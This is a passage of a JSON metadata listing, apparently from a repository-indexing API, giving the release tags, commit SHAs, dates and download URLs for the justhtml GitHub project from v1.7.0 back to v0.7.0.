justhtml/tar.gz/v1.7.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.7.0/manifests"},{"name":"v1.6.0","sha":"04e6a97079b44c111d583062df00cc684bfb40d2","kind":"tag","published_at":"2026-02-06T22:41:04.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.6.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"537b7d0b4d7036cb4ee161c015124826122dcde6","kind":"tag","published_at":"2026-02-01T23:16:02.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.5.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"38595e6a8ff72a6fd998a2a448417f7c20fa6ddc","kind":"tag","published_at":"2026-01-29T21:47:23.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.4.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.4.0/manifests"},{"name":"v1.3.0","sha":"3ac9f6fad7c0235fdbdd0615f66ff626834bec2d","kind":"tag","published_at":"2026-01-28T23:05:25.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.3.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"e3211f69f0725cc4e9570706003909ee2d532a6a","kind":"tag","published_at":"2026-01-25T23:48:38.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.2.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"adbabb606e4cc901d5bf3ab3668a286f0cdaedee","kind":"tag","published_at":"2026-01-24T22:37:48.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.1.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"68975da501f4ad0fc331e81ace82a338ccb531e4","kind":"tag","published_at":"2026-01-20T23:01:19.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v1.0.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v1.0.0/manifests"},{"name":"v0.40.0","sha":"f70ccb46e013d114123996612f6b92d66abb4540","kind":"tag","published_at":"2026-01-19T22:27:13.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.40.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.40.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.40.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.40.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.40.0/manifests"},{"name":"v0.39.0","sha":"5a8e341f45a900a08cf2d195becaed227070ebd5","kind":"tag","published_at":"2026-01-18T22:07:01.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.39.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.39.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.39.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.39.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.39.0/manifests"},{"name":"v0.38.0","sha":"c7cd133cf0031461c2cdf112adfcb4b4e265ae4f","kind":"tag","published_at":"2026-01-18T20:49:59.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.38.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.38.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.38.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.38.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.38.0/manifests"},{"name":"v0.37.0","sha":"e6c2301b23356053adf172b49ceff22a1a0b5dc3","kind":"tag","published_at":"2026-01-18T15:49:46.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.37.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.37.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.37.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.37.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.37.0/manifests"},{"name":"v0.36.0","sha":"552f206b37c8dc0ab65fb64541e674cf7eaf7974","kind":"tag","published_at":"2026-01-17T16:57:35.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.36.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.36.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.36.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.36.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.36.0/manifests"},{"name":"v0.35.0","sha":"20ae4c12838ba3ab117330b7d9000454acddb4e9","kind":"tag","published_at":"2026-01-11T13:33:47.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.35.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.35.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.35.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.35.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.35.0/manifests"},{"name":"v0.34.0","sha":"6a81b6abc8cb523b231e3069d614742bf18a84a5","kind":"tag","published_at":"2026-01-10T22:57:13.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.34.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.34.0/manifests"},{"name":"v0.33.0","sha":"0e2532c0c45fadf7dfc6a59dd8cefdece3d37970","kind":"tag","published_at":"2026-01-10T17:47:14.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.33.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.33.0/manifests"},{"name":"v0.32.0","sha":"481f505548fca7202e0bf45a4aeb9d79625d61c1","kind":"tag","published_at":"2026-01-10T14:47:02.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.32.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.32.0/manifests"},{"name":"v0.31.0","sha":"4dae735d0a46bfc829140d01ab2969139914a464","kind":"tag","published_at":"2026-01-09T21:39:40.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.31.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.31.0/manifests"},{"name":"v0.30.0","sha":"77bba644b996cc3f196fa760e627ac09d622bc75","kind":"tag","published_at":"2026-01-03T20:58:43.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.30.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.30.0/manifests"},{"name":"v0.29.0","sha":"f0eaa1a6e6e755eb1c552aec7ca71808da36ba69","kind":"tag","published_at":"2026-01-03T13:32:42.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.29.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.29.0/manifests"},{"name":"v0.28.0","sha":"74f29da06f4e3889c5ac315415e6c6406378f48f","kind":"tag","published_at":"2026-01-03T13:14:41.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.28.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.28.0/manifests"},{"name":"v0.27.0","sha":"c9eaebfc28d24ff75b8973b9b24dbabfc8e6317d","kind":"tag","published_at":"2026-01-03T00:46:07.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.27.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.27.0/manifests"},{"name":"v0.26.0","sha":"a3d591719a34528bc355dd7f6fcc40a7b388bb8e","kind":"tag","published_at":"2026-01-02T22:32:37.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.26.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.26.0/manifests"},{"name":"v0.25.0","sha":"22985f68f2f4d28a1277bbfa68cf07a5b4fdce3c","kind":"tag","published_at":"2026-01-01T23:09:11.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.25.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.25.0/manifests"},{"name":"v0.24.0","sha":"a529432f74e62b333f4996b4a19f078d622d29f4","kind":"tag","published_at":"2026-01-01T21:38:00.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.24.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.24.0/manifests"},{"name":"v0.23.0","sha":"7fb580ec20082d7df05d521c4c03d097e996543e","kind":"tag","published_at":"2025-12-30T14:03:15.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.23.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.23.0/manifests"},{"name":"v0.22.0","sha":"63309990f0aeea0378f9b12c5fb3e1f76dc985be","kind":"tag","published_at":"2025-12-28T20:49:28.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.22.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.22.0/manifests"},{"name":"v0.21.0","sha":"6bd5861eadb24ee1781667b2e921f634190e98bf","kind":"tag","published_at":"2025-12-28T16:27:21.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.21.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"d4eed3f3d2412873f826ffb920ac0f8f769b3b4a","kind":"commit","published_at":"2025-12-28T14:45:47.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.20.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.20.0/manifests"},{"name":"v0.19.0","sha":"d968f82fcc17d9a54c91595135de9c6e5cd67dbe","kind":"commit","published_at":"2025-12-28T11:33:53.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.19.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.19.0/manifests"},{"name":"v0.18.0","sha":"743934ebb084078a023a4c85c19f512375e64bc1","kind":"commit","published_at":"2025-12-21T13:26:51.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.18.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.18.0/manifests"},{"name":"v0.17.0","sha":"04f0afa3b80aa91fd49638dba5b26cae45727ef5","kind":"commit","published_at":"2025-12-20T23:30:20.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.17.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.17.0/manifests"},{"name":"v0.16.0","sha":"d990d203d581e414edcd13c4a2cdcb89c94e75dc","kind":"commit","published_at":"2025-12-18T21:06:51.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.16.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.16.0/manifests"},{"name":"v0.15.0","sha":"c0dbc0fe8d31d2f3d15ad152e6e160fff708703b","kind":"commit","published_at":"2025-12-18T06:32:11.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.15.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"61a880c20c63d975c2c9b37a55bbb6b20994a731","kind":"commit","published_at":"2025-12-17T20:19:13.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.14.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.14.0/manifests"},{"name":"v0.13.1","sha":"35ba35f1be8dec9ea01fed54be6d2471090e543d","kind":"commit","published_at":"2025-12-17T17:49:52.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.13.1","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"63c29b26be6473c4f353ba00023e64921d1026c0","kind":"commit","published_at":"2025-12-16T19:27:01.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.13.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"7d30614dcb938f429ead7e526eb8f6afc071232c","kind":"commit","published_at":"2025-12-15T21:59:32.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.12.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.12.0/manifests"},{"name":"v.0.12.0","sha":"7d30614dcb938f429ead7e526eb8f6afc071232c","kind":"commit","published_at":"2025-12-15T21:59:32.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v.0.12.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v.0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v.0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v.0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v.0.12.0/manifests"},{"name":"v0.11.0","sha":"1f6814090f6319fe9a6eec38bbcbcdd902493c77","kind":"commit","published_at":"2025-12-15T21:01:52.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.11.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"9d9fa0627b67f8fde3ed322c2417dda8c2254555","kind":"commit","published_at":"2025-12-14T08:44:01.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.10.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"e0584cb197b50a5916a7b87a29b23fe16b5261e6","kind":"commit","published_at":"2025-12-14T00:47:34.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.9.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"d0f89fa6d594fc1158ba9d1665b1f946f74d21cc","kind":"commit","published_at":"2025-12-13T19:56:27.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.8.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EmilStenstrom/justhtml@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EmilStenstrom%2Fjusthtml/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"c12a186c8ce5abf98df5e6c390e718a5b8e3e39b","kind":"commit","published_at":"2025-12-13T16:19:24.000Z","download_url":"https://codeload.github.com/EmilStenstrom/justhtml/tar.gz/v0.7.0","html_url":"https://github.com/EmilStenstrom/justhtml/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Emil